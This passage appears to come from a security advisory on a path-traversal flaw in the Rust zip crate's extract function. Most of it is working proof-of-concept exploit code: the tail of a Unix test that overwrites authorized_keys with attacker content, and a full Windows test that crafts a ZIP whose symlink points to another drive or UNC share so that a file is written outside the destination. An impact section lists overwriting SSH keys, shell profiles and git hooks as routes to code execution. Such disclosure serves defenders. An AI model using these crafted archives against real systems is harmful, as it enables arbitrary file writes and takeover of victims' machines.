assert!(after.contains("ATTACKER"), "attacker content not present"); println!("OVERWROTE existing file: {}", authorized_keys.display()); } ``` #### Windows PoC (`tests/poc_win.rs`) This is a test that verifies **escape to a different drive / UNC share via a single symlink**, specific to Windows. By setting the extraction destination to a temporary directory on `C:` and making the symlink target **an absolute path on a different volume that shares the same tail as dest**, it passes the lexical check in `simplified_components` (which discards the `Prefix`), and the drive/share substitution performed by `outpath.push` results in a write outside of `dest`. - `escape_via_second_drive`: writes to `E:\<same tail as dest>\evil\pwned.txt` on a separate drive (e.g. `E:`) - `escape_via_unc_share`: writes to `\\localhost\poc\<same tail as dest>\evil\pwned.txt` on a UNC share (e.g. `\\localhost\poc\`) ```rust //! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv) //! //! - author: sl91994 //! //! The crafted ZIP contains only 2 entries: //! 1. `a` : a symlink whose target = `<OTHER>\<same tail as dest>\evil` (absolute path) //! 2. `a/pwned.txt`: a regular file //! During extraction, resolving `a` causes outpath to be replaced with `<OTHER>\...\evil`, //! and `File::create(<OTHER>\...\evil\pwned.txt)` writes outside of dest. //! //! # Prerequisites //! - Windows 10 (build 14972+) through Windows 11 //! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator. //! - One volume / share **separate from dest**. //! Supply the escape destination via environment variables: //! * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\`. e.g. `D:\` //! * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\`. //! e.g. `\\localhost\poc\` //! (`net share poc=C:\path\to\share /grant:%USERNAME%,FULL`) //! //! # Running //! //! ```powershell //! $env:POC_OTHER_DRIVE = "D:\" //! $env:POC_UNC_SHARE = "\\localhost\poc\" //! cargo test --test poc_win -- --nocapture //! ``` #![cfg(windows)] use std::ffi::OsString; use std::fs; use std::io::{Cursor, Write}; use std::path::{Component, Path, PathBuf}; use tempfile::TempDir; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; /// Whether we have the privilege needed to create symlinks fn have_symlink_privilege() -> bool { let Ok(tmp) = TempDir::new() else { return false; }; let target = tmp.path().join("privcheck_target"); let link = tmp.path().join("privcheck_link"); if fs::write(&target, b"x").is_err() { return false; } std::os::windows::fs::symlink_file(&target, &link).is_ok() } /// Extract only the Normal components of a path (the tail, with prefix / root dropped) fn normal_tail(p: &Path) -> Vec<OsString> { p.components() .filter_map(|c| match c { Component::Normal(s) => Some(s.to_os_string()), _ => None, }) .collect() } /// Returns the `Prefix` (volume identifier) at the head of the path fn volume_prefix(p: &Path) -> Option<OsString> { match p.components().next() { Some(Component::Prefix(pre)) => Some(pre.as_os_str().to_os_string()), _ => None, } } /// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share) fn run_escape(variant: &str, other_root: &str) { if !have_symlink_privilege() { eprintln!( "[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \ enable Developer Mode or run as Administrator." ); return; } // other_root must be an existing, writable root let other_root_path = PathBuf::from(other_root); if !fs::metadata(&other_root_path) .map(|m| m.is_dir()) .unwrap_or(false) { eprintln!( "[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \ directory; check the environment variable." ); return; } // The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by // safe_prepare_path is the path after canonicalize, match the tail to that. let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); fs::create_dir(&dest).unwrap(); let canon_dest = fs::canonicalize(&dest).unwrap(); let tail = normal_tail(&canon_dest); // Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it. // Since simplified_components discards the prefix, the target's tail component sequence // prefix-matches the base's tail component sequence, passing the lexical check. let mut escape_dir = other_root_path.clone(); for c in &tail { escape_dir.push(c); } escape_dir.push("evil"); // Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape) let other_vol = fs::canonicalize(&other_root_path) .ok() .and_then(|p| volume_prefix(&p)); let dest_vol = volume_prefix(&canon_dest); assert_ne!( other_vol, dest_vol, "[{variant}] escape root {other_root:?} is on the same volume as dest; \ point it at a different drive/share (dest vol={dest_vol:?})." ); // Assemble the crafted ZIP (entries: 1 symlink + 1 file) let target_str = escape_dir .to_str() .expect("escape path must be valid UTF-8") .to_string(); println!("[{variant}] dest (canonical) = {}", canon_dest.display()); println!("[{variant}] symlink target = {target_str}"); let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail) zip.add_symlink("a", &target_str, opt).unwrap(); // a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest zip.start_file("a/pwned.txt", opt).unwrap(); zip.write_all(b"escaped-on-windows!").unwrap(); let archive = zip.finish_into_readable().unwrap(); let res = ZipArchive::from(archive).extract(&dest); println!("[{variant}] extract() returned: {res:?}"); res.expect("extract() failed"); let escaped = escape_dir.join("pwned.txt"); assert!( escaped.exists(), "[{variant}] escape failed: {} was not created", escaped.display() ); let content = fs::read_to_string(&escaped).unwrap(); println!( "[{variant}] WROTE OUTSIDE DEST: {} = {content:?}", escaped.display() ); let _ = fs::remove_file(&escaped); let _ = fs::remove_dir(&escape_dir); assert_eq!( content, "escaped-on-windows!", "[{variant}] written content mismatch", ); } /// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\`) #[test] fn escape_via_second_drive() { match std::env::var("POC_OTHER_DRIVE") { Ok(root) if !root.is_empty() => run_escape("drive", &root), _ => eprintln!( "[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \ (PowerShell: `$env:POC_OTHER_DRIVE=\"D:\\\"`)." ), } } /// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\localhost\poc\`) #[test] fn escape_via_unc_share() { match std::env::var("POC_UNC_SHARE") { Ok(root) if !root.is_empty() => run_escape("unc", &root), _ => eprintln!( "[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \ (PowerShell: `$env:POC_UNC_SHARE=\"\\\\localhost\\poc\\\"`)." ), } } ``` ### Impact With the privileges of the process that extracts an untrusted ZIP archive via `ZipArchive::extract` / `ZipArchive::extract_unwrapped_root_dir`, an attacker can **write a file with arbitrary contents to an arbitrary path outside the extraction directory**. - Because existing files can be overwritten, tampering with files such as `~/.ssh/authorized_keys`, `~/.bashrc`, `.git/hooks/*`, CI configuration, or a service's binaries and configuration files **may lead to remote code execution or privilege escalation**. Destroying critical files can also cause denial of service. - Extraction **does not fail and returns `Ok(())`**, so the caller has no straightforward way to detect the attack. - The documentation of `extract()` explicitly states that **symbolic links are only created and followed if the target is within the destination directory**, so downstream applications that rely on this as a sandbox boundary are directly affected. Exploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, `/opt/<app>`, a fixed Downloads directory, and so on.